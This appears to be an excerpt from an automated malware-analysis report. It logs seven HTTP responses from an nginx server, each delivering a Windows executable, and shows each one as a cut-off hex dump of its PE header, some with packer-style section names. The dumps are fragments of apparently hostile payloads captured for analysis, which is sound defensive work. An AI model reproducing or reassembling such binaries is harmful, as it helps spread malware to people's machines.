00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:46:29 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Fri, 01 Nov 2024 02:44:59 GMTConnection: keep-aliveETag: "672440ab-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a3 40 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 c5 84 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:46:32 GMTContent-Type: application/octet-streamContent-Length: 2793984Last-Modified: Fri, 01 Nov 2024 02:45:26 GMTConnection: keep-aliveETag: "672440c6-2aa200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 cf 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 67 63 6b 6e 6b 64 74 00 60 2a 00 00 a0 00 00 00 42 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 73 6f 75 6b 6b 74 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 7c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 80 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:46:37 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:46:39 GMTContent-Type: application/octet-streamContent-Length: 1913856Last-Modified: Fri, 01 Nov 2024 02:41:17 GMTConnection: keep-aliveETag: "67243fcd-1d3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 cf 54 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 b5 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 b4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 65 62 66 74 73 66 6e 00 20 1a 00 00 a0 31 00 00 16 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 63 79 63 6d 6d 75 74 00 10 00 00 00 c0 4b 00 00 06 00 00 00 0c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 12 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:46:52 GMTContent-Type: application/octet-streamContent-Length: 2793984Last-Modified: Fri, 01 Nov 2024 02:45:26 GMTConnection: keep-aliveETag: "672440c6-2aa200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 cf 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 67 63 6b 6e 6b 64 74 00 60 2a 00 00 a0 00 00 00 42 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 73 6f 75 6b 6b 74 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 7c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 80 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:46:59 GMTContent-Type: application/octet-streamContent-Length: 1913856Last-Modified: Fri, 01 Nov 2024 02:41:17 GMTConnection: keep-aliveETag: "67243fcd-1d3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 cf 54 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 b5 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 b4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 65 62 66 74 73 66 6e 00 20 1a 00 00 a0 31 00 00 16 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 63 79 63 6d 6d 75 74 00 10 00 00 00 c0 4b 00 00 06 00 00 00 0c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 12 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:47:04 GMTContent-Type: application/octet-streamContent-Length: 2793984Last-Modified: Fri, 01 Nov 2024 02:45:26 GMTConnection: keep-aliveETag: "672440c6-2aa200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 cf 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 67 63 6b 6e 6b 64 74 00 60 2a 00 00 a0 00 00 00 42 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 73 6f 75 6b 6b 74 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 7c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 80 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
